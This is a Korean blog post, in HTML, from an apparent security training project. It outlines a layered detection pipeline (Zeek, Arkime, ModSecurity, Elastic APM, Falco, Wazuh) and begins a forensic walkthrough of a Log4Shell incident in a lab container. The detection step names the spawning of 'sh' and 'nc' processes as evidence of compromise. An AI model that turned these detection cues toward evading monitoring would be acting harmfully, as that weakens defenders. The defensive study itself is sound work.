&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. Zeek (메타 데이터 요약)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1061&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BNR5R/dJMcaac96nD/JZcelc0ZBWJcZL0kGnpoPK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BNR5R/dJMcaac96nD/JZcelc0ZBWJcZL0kGnpoPK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BNR5R/dJMcaac96nD/JZcelc0ZBWJcZL0kGnpoPK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBNR5R%2FdJMcaac96nD%2FJZcelc0ZBWJcZL0kGnpoPK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;262&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1061&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;대량의 데이터 속에서 침해지표(IoC)를 빠르게 찾기 위한 역할&lt;/li&gt;
&lt;li&gt;수많은 패킷 중에서 공격자가 어떤 파일을 다운로드했는지/어떤 ip와 연결되어있는지 와 같은 핵심 정보만 요약&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. Elastic APM (코드 레벨 추적)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SdXZc/dJMcajnzKi1/XmiEIuhgptSYjkqDSUvo7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SdXZc/dJMcajnzKi1/XmiEIuhgptSYjkqDSUvo7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SdXZc/dJMcajnzKi1/XmiEIuhgptSYjkqDSUvo7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSdXZc%2FdJMcajnzKi1%2FXmiEIuhgptSYjkqDSUvo7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;109&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;223&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;취약한 코드가 실행되는 순간의 함수 호출 스택 출력 역할&lt;/li&gt;
&lt;li&gt;네트워크 패킷이 들어왔을 때, 뭐 자바의 어떤 클래스가 반응해서 쉘이 실행되는지 그 내부 동작을 증명하는 도구&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 것들은 이 탐지 장비들을 어떻게 이을것인가였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;각 장비를 이용해서 어떤 내용을 수집하고, 그 수집하는 데이터들을 어떻게 이어서 하나의 흐름을 만들것인가&lt;/i&gt;에 대해서 많이 고민하고 찾아봤던 것 같습니다. 제가 생각한 방법은 다음과 같습니다.&lt;/p&gt;
&lt;table id=&quot;2d873eea-c5cb-8062-94f1-e31167062738&quot; style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr id=&quot;2d873eea-c5cb-8049-86cc-c19a61b74fb8&quot;&gt;
&lt;td id=&quot;lewQ&quot; style=&quot;width: 13.4884%;&quot;&gt;&lt;b&gt;단계&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;JO}t&quot; style=&quot;width: 9.65116%;&quot;&gt;&lt;b&gt;구분 (Tool)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;P|zN&quot; style=&quot;width: 20.4652%;&quot;&gt;&lt;b&gt;주요 출력 로그 (Key Logs)&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;J?WM&quot; style=&quot;width: 22.6745%;&quot;&gt;&lt;b&gt;데이터 전송 및 연동&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;gK:E&quot; style=&quot;width: 33.6046%;&quot;&gt;&lt;b&gt;핵심 필요성 (Context)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;2d873eea-c5cb-80a5-9247-cd36592c7715&quot;&gt;
&lt;td id=&quot;lewQ&quot; style=&quot;width: 13.4884%;&quot;&gt;&lt;b&gt;1. Packet&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;JO}t&quot; style=&quot;width: 9.65116%;&quot;&gt;&lt;b&gt;Zeek &amp;amp; Arkime&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;P|zN&quot; style=&quot;width: 20.4652%;&quot;&gt;Src IP, Dst Port, SSL 정보, &lt;b&gt;JA4 지문&lt;/b&gt;, 전체 패킷(&lt;b&gt;PCAP&lt;/b&gt;)&lt;/td&gt;
&lt;td id=&quot;J?WM&quot; style=&quot;width: 22.6745%;&quot;&gt;Zeek 로그 &amp;rarr; Wazuh 전송 / Arkime &amp;rarr; 별도 저장 및 Wazuh에서 링크 참조&lt;/td&gt;
&lt;td id=&quot;gK:E&quot; style=&quot;width: 33.6046%;&quot;&gt;공격자의 &lt;b&gt;유입 경로&lt;/b&gt; 및 외부 C2 서버와의 통신 여부 증명 (Network Level)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;2d873eea-c5cb-802b-9c5c-ed5d58fbd044&quot;&gt;
&lt;td id=&quot;lewQ&quot; style=&quot;width: 13.4884%;&quot;&gt;&lt;b&gt;2. WAF&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;JO}t&quot; style=&quot;width: 9.65116%;&quot;&gt;&lt;b&gt;Mod&lt;br /&gt;Security&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;P|zN&quot; style=&quot;width: 20.4652%;&quot;&gt;악성 Payload, &lt;b&gt;Trace-ID&lt;/b&gt;, HTTP Method&lt;/td&gt;
&lt;td id=&quot;J?WM&quot; style=&quot;width: 22.6745%;&quot;&gt;audit.log &amp;rarr; Wazuh 에이전트가 실시간 수집&lt;/td&gt;
&lt;td id=&quot;gK:E&quot; style=&quot;width: 33.6046%;&quot;&gt;공격자의 &lt;b&gt;기술적 의도&lt;/b&gt;와 어떤 취약점(CVE)을 타겟팅했는지 분류&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;2d873eea-c5cb-80e9-b7ad-d16626a34bbc&quot;&gt;
&lt;td id=&quot;lewQ&quot; style=&quot;width: 13.4884%;&quot;&gt;&lt;b&gt;3. Trigger&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;JO}t&quot; style=&quot;width: 9.65116%;&quot;&gt;&lt;b&gt;Elastic &lt;br /&gt;APM&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;P|zN&quot; style=&quot;width: 20.4652%;&quot;&gt;호출 함수(Function), &lt;b&gt;Trace-ID&lt;/b&gt;, Error Stack Trace&lt;/td&gt;
&lt;td id=&quot;J?WM&quot; style=&quot;width: 22.6745%;&quot;&gt;APM Agent &amp;rarr; Elasticsearch / Wazuh 통합 분석&lt;/td&gt;
&lt;td id=&quot;gK:E&quot; style=&quot;width: 33.6046%;&quot;&gt;공격 페이로드가 실제 애플리케이션의 &lt;b&gt;취약한 함수를 실행&lt;/b&gt;시켰는지 확인 (성공 여부 판별)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;2d873eea-c5cb-809c-947a-c1a6047c7bfb&quot;&gt;
&lt;td id=&quot;lewQ&quot; style=&quot;width: 13.4884%;&quot;&gt;&lt;b&gt;4. Execution&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;JO}t&quot; style=&quot;width: 9.65116%;&quot;&gt;&lt;b&gt;Falco&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;P|zN&quot; style=&quot;width: 20.4652%;&quot;&gt;프로세스명(sh, nc), PID, 열린 포트, 시스템 콜&lt;/td&gt;
&lt;td id=&quot;J?WM&quot; style=&quot;width: 22.6745%;&quot;&gt;커널 이벤트 &amp;rarr; Wazuh Manager 전송&lt;/td&gt;
&lt;td id=&quot;gK:E&quot; style=&quot;width: 33.6046%;&quot;&gt;취약점 실행 후, 공격자가 서버 내부에서 &lt;b&gt;실제 명령어를 수행&lt;/b&gt;했음을 커널 수준에서 확정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;2d873eea-c5cb-802f-b430-ea250094749a&quot;&gt;
&lt;td id=&quot;lewQ&quot; style=&quot;width: 13.4884%;&quot;&gt;&lt;b&gt;5. Response&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;JO}t&quot; style=&quot;width: 9.65116%;&quot;&gt;&lt;b&gt;Wazuh &lt;br /&gt;Server&lt;/b&gt;&lt;/td&gt;
&lt;td id=&quot;P|zN&quot; style=&quot;width: 20.4652%;&quot;&gt;&lt;b&gt;상관분석(Correlation)&lt;/b&gt;, 시각화, MITRE Mapping&lt;/td&gt;
&lt;td id=&quot;J?WM&quot; style=&quot;width: 22.6745%;&quot;&gt;위 4단계의 모든 로그 병합 및 분석&lt;/td&gt;
&lt;td id=&quot;gK:E&quot; style=&quot;width: 33.6046%;&quot;&gt;개별 로그를 하나의 &lt;b&gt;침해 시나리오&lt;/b&gt;로 완성하고, 분석 보고서 생성 및 자동 대응&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;[1단계 : Packet (Zeek &amp;amp; Arkime)] - &lt;/span&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&amp;nbsp;침투 경로 기록&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;출력 로그&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;1. Zeek&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Src IP : 접속지의 IP&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Dst Port : 사용 포트&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;SSL 인증서 정보&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;JA4 지문 : 공격 도구 식별&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;2. Arkime&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;공격자가 보낸 전체 패킷 데이터 (PCAP)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;-&amp;gt; 데이터 전송 : zeek의 텍스트 로그는 wazuh(SIEM)으로, Arkime은 자체 서버에 패킷 저장하고 필요할 때 wazuh에서 링크 조회 (링크 되는지 확인해야함..)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;-&amp;gt; 필요성 : 공격자가 어떤 통로로 들어와서 어떤 외부서버와 통신하고 있는지 네트워크 관점에서 증명&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;[2단계 : WAF (ModSecurity)] - &lt;/span&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;공격 의도 파악&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;출력 로그&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Payload : HTTP 요청 내부의 악성 페이로드&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Trace-ID : 요청 식별하는 특정 ID&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;-&amp;gt; 데이터 전송 : Modsecurity의 audit.log파일을 wazuh(SIEM)으로&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;-&amp;gt; 필요성 : 방어는 안하지만 공격자가 어떤 취약점을 노리고 어떤 값(ID)를 던졌는지 기술적으로 분류&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;[3단계 : Trigger (Elastic APM)] - &lt;/span&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;코드 실행 여부 증명&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;출력 로그&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Function : 특정 함수 호출&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Trace-ID : 애플리케이션 내부에서의 trace id&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Error Stack Trace&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;-&amp;gt; 데이터 전송 : APM Agent로그를 Elasticsearch/Wazuh로 전송&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;-&amp;gt; 필요성 : 네트워크로 들어온 공격 페이로드가 실제 서버의 취약점 함수를 건드렸는가를 확인해서 그 공격이 성공했는지 실패했는지 확인&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;[4단계 : Execution (Falco)] - &lt;/span&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;최종 침해 증명&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;출력 로그&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Comm : sh, nc로 생성된 프로세스 이름&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;PID&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;열린 포트&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;- 데이터 전송 : 커널 레벨에서 발생하는 이벤트를 Wazuh(SIEM)으로&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;- 필요성 : 취약점이 터진 후, 공격자가 실제로 서버에서 명령어를 실행했는지 커널 수준에서 확정 짓는 최종 증거&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;[5단계 : Response (Wazuh Server)] - &lt;/span&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;상관분석 및 시각화&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;역할 : 위 4단계의 모든 로그를 하나로 병합&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;분석 방법&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Timestamp : 동일 시간대에서 발생한 이벤트 정렬&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;IP 주소 : 동일한 Src IP에서 발생한 네트워크 활동 (Zeek)와 공격 시도(WAF)매칭&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Trace-ID : WAF에서 탐지된 페이로드와 APM에서 실행된 함수를 1:1 로 매핑&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Agent-ID : victim에서 일어난 모든 일을 그룹화&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;이렇게 5단계로 정리했습니다. 좀 더 자세히 설명할 수 있지만 나중에 다 안쓰게 되어서(^^) 자세한 설명은 패스 하겠습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;디지털 포렌식 - 침해사고 서버분석(log4j)&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;이때 아마 멘토님 피드백이 있고 일단 인프라는 어느정도 마무리가 되었으니까 다같이 java의 log4shell에 대해서 서버분석을 같이 해보자라는 의견이 있었습니다. 기존에는 java, php, node.js 3개를 각각 한명씩 맡았는데 서버분석은 다같이 해보았습니다. 저도 분석이 처음이라 열심히 공부하면서 해보았습니다...!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;먼저 저도 제가 이 서버분석을 하면서 이런게 포렌식인가..?라는 생각을 했습니다.ㅎㅎ 저도 처음이다 보니...&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;포렌식은 다양한 영역이 있습니다. 네트워크포렌식, 라이브포렌식, 애플레키이션포렌식, 안티포렌식 등이 있습니다. 네트워크 포렌식은 네트워크 통신을 통해 이동하는 데이터를 포착하고 분석해서 침입 경로와 유출 정보를 확인하는 과정입니다. 우리가 흔히 아는 wireshark같은 프로그램으로 패킷단위로 데이터를 저장해서 분석하는 것입니다. 라이브 포렌식은 전원이 켜져 있는 시스템에서만 확인할 수 있는 휘발성 데이터(메모리, 실행중인 프로세스 등)를 추출하는 활동으로 우리가 netstat나 ps명령어로 실시간 네트워크 연결 상태나 악성 프로세스 목록을 보면서 메모리에 남아있는 암호화키 같은 거를 확보하는 활동입니다. 애플리케이션 포렌식은 서버 내 설치된 특정 sw가 남긴 로그와 데이터를 분석하여 비정상적인 행위를 찾는 것입니다. log4j의 로그에서 에러 메시지나 공격 구문을 찾거나 웹 서버의 access.log를 뒤지는 분석입니다. 그다음이 안티 포렌식 대응인데&amp;nbsp; 공격자가 자신의 흔적을 지우가나 숨기려고 한 행위를 파악하고 이를 우회해서 복구하는 활동입니다. 이때 docker diff 명령어를 통해서 파일 시스템의 변경점을 찾아내는 방법을 저는 이용했습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;제가 log4j 를 분석한 과정은 다음과 같습니다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 1단계: 네트워크 유입 및 페이로드 분석 (L7) &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 공격자가 어떤 경로로 어떤 형태의 공격 구문을 던졌는지 확인&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그 데이터 추출 및 탐색&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1770922759822&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 컨테이너의 모든 로그를 log4j_analysis.log 파일로 저장
docker logs 94d2c2f536ac &amp;gt; log4j_analysis.log 2&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1133&quot; data-origin-height=&quot;87&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bij7qf/dJMcagRY7UY/OhySep398ZwSSt2rlxI8Qk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bij7qf/dJMcagRY7UY/OhySep398ZwSSt2rlxI8Qk/img.png&quot; data-alt=&quot;분석 내용 : 페이로드 위치 로그에 Received a request for API version이라는 문구 바로 뒤에 공격 구문이 붙어 있음 공격자는 HTTP 요청 헤더 중 X-Api-Version (혹은 이와 유사한 이름의 커스텀 헤더)에 공격 구문을 실어 보냈을 것.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bij7qf/dJMcagRY7UY/OhySep398ZwSSt2rlxI8Qk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbij7qf%2FdJMcagRY7UY%2FOhySep398ZwSSt2rlxI8Qk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1133&quot; height=&quot;87&quot; data-origin-width=&quot;1133&quot; data-origin-height=&quot;87&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;분석 내용 : 페이로드 위치 로그에 Received a request for API version이라는 문구 바로 뒤에 공격 구문이 붙어 있음 공격자는 HTTP 요청 헤더 중 X-Api-Version (혹은 이와 유사한 이름의 커스텀 헤더)에 공격 구문을 실어 보냈을 것.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
